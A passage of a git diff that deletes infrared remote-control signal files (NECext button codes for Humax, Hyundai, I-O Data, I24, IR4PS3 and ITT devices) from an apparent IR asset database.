1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 40 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 41 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 43 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 4D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 60 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 61 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 62 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 63 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 64 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 65 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir deleted file mode 100644 index a65f8f475..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: tv/sat -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: ton -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 12 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 15 00 00 00 -# -name: gray -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 16 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 18 00 00 00 -# -name: white -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 40 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir deleted file mode 100644 index f18c84a60..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 08 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 09 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 13 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 16 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 17 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 18 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 19 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1B 00 00 00 -# -name: A-MODE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1D 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1E 00 00 00 -# -name: V-MODE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1F 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 40 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 42 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 43 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 44 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 45 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 48 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 49 00 00 00 -# -name: VIRTUAL -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4C 00 00 00 -# -name: KEY_MINUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4D 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 50 00 00 00 -# -name: L/R/ST -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 51 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 52 00 00 00 -# -name: S_EFFECT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir deleted file mode 100644 index 9de85f571..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 0A 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 12 00 00 00 -# -name: AUTO/CC -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 13 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 1C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 1D 00 00 00 -# -name: CH_SEARCH -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 1E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: AA 03 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir deleted file mode 100644 index a7c951407..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 17 00 00 00 -# -name: PLAY_/_PAUSE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1B 00 00 00 -# -name: SERVER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1C 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 40 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 42 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 43 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 44 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 45 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 46 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 47 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 49 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4A 00 00 00 -# -name: TV_MODE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: RELOAD -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 53 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 54 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: A_-_B -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 57 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: URL/CODE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5B 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5C 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir deleted file mode 100644 index 964c3d986..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Brightness+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: Brightness- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 82 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: KEY_R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 85 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 86 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 87 00 00 00 -# -name: orange -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 88 00 00 00 -# -name: pea_green -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 89 00 00 00 -# -name: dark_blue -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8A 00 00 00 -# -name: FLASH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8B 00 00 00 -# -name: dark_yellow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8C 00 00 00 -# -name: cyan -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8D 00 00 00 -# -name: brown -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 90 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 91 00 00 00 -# -name: pink -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 92 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 93 00 00 00 -# -name: straw_yellow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 94 00 00 00 -# -name: sky_blue -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 95 00 00 00 -# -name: purple -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 96 00 00 00 -# -name: SMOOTH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 97 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir deleted file mode 100644 index 5985bbcfd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 0B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 0F 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 16 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 1A 00 00 00 -# -name: POP_UP_MENU -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 1B 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 28 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 2F 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 30 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 32 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 33 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 34 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 39 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 40 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 41 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 42 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 43 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 54 00 00 00 -# -name: SLOW_REV -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 60 00 00 00 -# -name: SLOW_FWD -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 61 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 63 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 64 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 65 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 66 00 00 00 -# -name: L3 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 67 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 68 00 00 00 -# -name: START -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 69 00 00 00 -# -name: L2 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 6E 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 6F 00 00 00 -# -name: L1 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 70 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 71 00 00 00 -# -name: OPTIONS/TRIANGLE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 72 00 00 00 -# -name: BACK/CIRCLE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 73 00 00 00 -# -name: X/CROSS -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 74 00 00 00 -# -name: VIEW/SQUARE -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 75 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 79 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 7A 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 7B 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1A 23 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir deleted file mode 100644 index f0a28ecd7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPERATE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 16 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 17 00 00 00 -# -name: SEARCH_INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: TV-AUX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 